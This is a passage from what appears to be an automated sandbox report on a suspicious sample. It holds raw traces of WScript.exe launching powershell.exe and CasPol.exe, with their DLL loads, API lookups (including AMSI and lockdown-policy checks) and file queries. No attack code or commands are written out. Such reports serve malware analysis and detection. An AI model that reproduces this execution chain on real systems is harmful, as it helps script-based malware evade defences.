"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")32:Tad0,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003340-00000C17-2135940420 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003340-00000C17-2136103249 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003340-00000C17-2136554262 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003340-00000C17-2137030482 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003340-00000C17-2137128774 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003340-00000C17-2137180575 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003340-00000C17-2138928349 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" at 00000000-00004104-00000C17-2141447876 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00004104-00000C17-2141542966 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00004104-00000C17-2141700785 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00004104-00000C17-2144534980 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" at 00000000-00004104-00000C17-2144706460 "Caspol.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00004104-00000C17-214481173733:T3aac,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002120) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002120) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter clrjit.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Net.Http\04ab5d047cc99fc5dad36592f805b227\System.Net.Http.ni.dll (UID: 00000000-00003340) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00003340)34:Td1ab,"WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002120) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00002120) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00003340) "powershell.exe" called 